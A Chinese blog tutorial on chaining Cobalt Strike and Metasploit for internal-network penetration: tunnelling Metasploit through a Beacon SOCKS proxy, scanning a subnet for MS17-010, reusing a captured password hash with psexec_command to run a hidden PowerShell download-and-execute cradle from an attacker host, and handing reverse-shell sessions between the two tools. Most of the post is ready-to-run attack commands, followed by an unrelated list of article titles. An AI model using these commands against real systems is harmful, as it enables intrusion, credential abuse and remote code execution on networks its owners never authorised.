CobaltStrike与Metasploit联动配合
利用CobaltStrike内置Socks功能
通过Beacon内置的Socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透。
首先,到已控目标机的Beacon下将Socks代理开启
本地启动metasploit,挂上代理,就可以对内网进行各种探测收集。
setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置)
setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项)
metasploit提供的各种探测、扫描模块:
探测目标内网中存在MS17_010漏洞的主机,这也是内网拿主机权限利用方式之一,方法如下:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.219.0/24
set threads 100 #内网渗透时线程不要太高!
run
利用MSF模块上线Beacon shell
当通过CobaltStrike的Run mimikatz或其他方式抓取到目标机或其内网中某台Windows机器的本地管理员明文密码或hash时,可以利用Metasploit下auxiliary/admin/smb/psexec_command模块,直接上线指定目标机器的Beacon shell,也算是一种简单的横向方式。(前提是目标机器可出网)
先利用CobaltStrike生成上线Beacon的powershell
本地启动Metasploit,挂上代理,设置psexec_command
模块参数
setg Proxies socks4/5:ip:port
use auxiliary/admin/smb/psexec_command
set rhosts 192.168.219.0/24
set threads 10
set smbuser 98612
set smbpass 31d6cfe0d16ae931b73c59d7e0c089c0 #明文、密文均可
set command powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.219.137:81/a'))" #上线CS的powershell
run
CobaltStrike派生Metasploit
当CobaltStrike获得了一个上线机器,想把这个目标传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp #不要用x64的payload
set LHOST 192.168.219.137
set LPORT 4444
run -j
之后使用CobaltStrike创建一个windows/foreign/reverse_tcp
的Listener。其中IP为Metasploit的监听地址,端口为Metasploit所监听的端口。
然后选中计算机,右键->Spawn:选择MSF的监听器:
这个时候可以看到,Metasploit上的监听已经上线,现在可以对meterpreter获得的session进行控制。
Metasploit派生CobaltStrike
现在已经获得了一个meterpreter的session,把session传给CobaltStrike。
在CobaltStrike中创建一个监听者,和上一步类似,这里host需要修改为CobaltStrike客户端IP,创建好之后便监听8099端口,等待着被控机连接
接下来,把meterpreter获得的session转交给CobaltStrike,在Metasploit执行以下命令:
meterpreter > background
msf5 > use exploit/windows/local/payload_inject
msf5 > set payload windows/meterpreter/reverse_http
msf5 > set LHOST 192.168.43.170
msf5 > set LPORT 8099
msf5 > set DisablePayloadHandler true
msf5 > set session 1
msf5 > run
解释一下这些参数。由于CobaltStrike的监听器我们使用的是:
windows/beacon_http/reverse_http
所以我们的payload也要使用:
payload windows/meterpreter/reverse_http
设置本地监听IP和端口:由于监听器是CobaltStrike的,所以要设置成CobaltStrike机器的IP与端口。
默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置:
set DisablePayloadHandler true
设置当前的session,执行run。
此时目标机便已成功从CobaltStrike上线。
参考:
https://www.cnblogs.com/nongchaoer/p/12055317.html
最新文章
- OAuth 2.0 Threat Model and Security Considerations (rfc6819)
- 分享大家一个背景为下雪的JQuery
- 利用VMware虚拟机(Android-x86 2.2)和eclipse,调试安卓代码
- js:语言精髓笔记8--对象系统
- Inno Setup的使用笔记
- Spring3.0.6定时任务task:scheduled
- keychain的使用
- QCW切割 --铁片
- C#并发编程实例讲解-概述(01)
- UVA - 1371 Period 二分+dp
- PHP 文件下载 浅析
- python3学习笔记2---引用http://python3-cookbook.readthedocs.io/zh_CN/latest/2
- navicat 导入execl失败
- JSP:getOutputStream() has already been called for this response
- Naive Operations HDU6315 (杭电多校2G)
- LeetCode(116):填充同一层的兄弟节点
- 使用Canvas制作画图工具
- 线程锁Lock
- (笔记)Mysql命令mysql:连接Mysql数据库
- LINUX的前后台程序查看切换
热门文章
- 5.12 省选模拟赛 T2 贪心 dp 搜索 差分
- mysql8.0以上版本修改密码问题记录
- 错误记录:MIME type may not contain reserved characters
- CSMA/CD协议(载波侦听多路访问/碰撞检测) 最小帧长理解
- 新鲜整理的Java学习大礼包!!锵锵锵锵~
- Codechef July Challenge 2020 Division 1 记录
- troubleshoot之:用control+break解决线程死锁问题
- Go 语言中,有时 nil 并不是一个 nil
- MarkDown总结(适合初学者快速入门)
- Kubernetes用Helm安装Ingress并踩一下使用的坑